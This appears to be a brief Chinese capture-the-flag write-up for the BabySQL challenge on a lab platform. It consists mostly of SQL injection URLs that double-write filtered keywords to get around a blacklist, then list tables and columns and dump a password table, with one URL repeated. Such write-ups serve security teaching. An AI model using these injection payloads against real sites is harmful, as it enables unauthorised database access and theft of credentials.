[极客大挑战 2019]BabySQL 1 详细题解

 [极客大挑战 2019]BabySQL 1 详细题解_第1张图片

 

过滤 select or and union from

 

 [极客大挑战 2019]BabySQL 1 详细题解_第2张图片

 

http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3 %23&password=1111

 

http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name = 'b4bsql'),3 %23&password=1111

 

 [极客大挑战 2019]BabySQL 1 详细题解_第3张图片

 

 

http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 %23&password=1111

 

http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 %23&password=1111

 

 [极客大挑战 2019]BabySQL 1 详细题解_第4张图片

 

你可能感兴趣的:(CTF,sql)